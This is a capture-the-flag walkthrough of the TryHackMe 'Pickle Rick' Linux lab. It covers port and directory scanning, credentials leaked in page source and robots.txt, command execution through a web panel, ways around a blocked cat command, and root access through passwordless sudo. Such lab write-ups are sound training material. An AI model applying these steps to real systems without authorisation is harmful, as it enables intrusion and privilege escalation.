Platform: TryHackMe
OS: Linux
Difficulty: Easy
Tags: web rce command-injection sudo linux
Date: 2026-05
Rick and Morty-themed Linux machine. The web app has a command panel protected by login credentials hidden in page source and a robots.txt file. Once logged in, the command panel gives direct RCE as www-data. Escalated to root via unrestricted sudo — all commands allowed with no password.
nmap -sV -sC -p- --min-rate 5000 <TARGET_IP>PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2
80/tcp open http Apache httpd 2.4.18
Page source of the index page contains a comment:
<!--
Note to self, remember username!
Username: R1ckRul3s
-->robots.txt reveals:
Wubbalubbadubdub
This is the password.
Ran Gobuster to find hidden pages:
gobuster dir -u http://<TARGET_IP> \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x php,html,txt/login.php (Status: 200)
/portal.php (Status: 302)
/assets (Status: 301)
Navigated to /login.php and logged in with:
- Username:
R1ckRul3s - Password:
Wubbalubbadubdub
/portal.php has a "Command Panel" input field that executes system commands directly. Not a shell — just a web form, but it gives code execution.
whoami
# www-data
ls /home/rick
# second ingredients
cat /home/rick/"second ingredients"
# [INGREDIENT 2]The cat command is blocked — used alternatives:
less /home/rick/"second ingredients"
# or
grep . /home/rick/"second ingredients"ls /var/www/html
cat /var/www/html/Sup3rS3cretPickl3Ingred.txt
# [INGREDIENT 1]sudo -lUser www-data may run the following commands on ip-...:
(ALL) NOPASSWD: ALL
Full unrestricted sudo with no password — immediate root:
sudo bash
whoami
# rootcat /root/3rd.txt
# [INGREDIENT 3]- Always check page source — credentials and hints are frequently left in HTML comments
robots.txtis always worth checking — it often reveals hidden paths or sensitive info- When
catis blocked, tryless,grep .,strings,tac, orhead sudo -lshowing(ALL) NOPASSWD: ALLis instant root — one of the best findings in a pentest- RCE through a web command panel is as dangerous as a full shell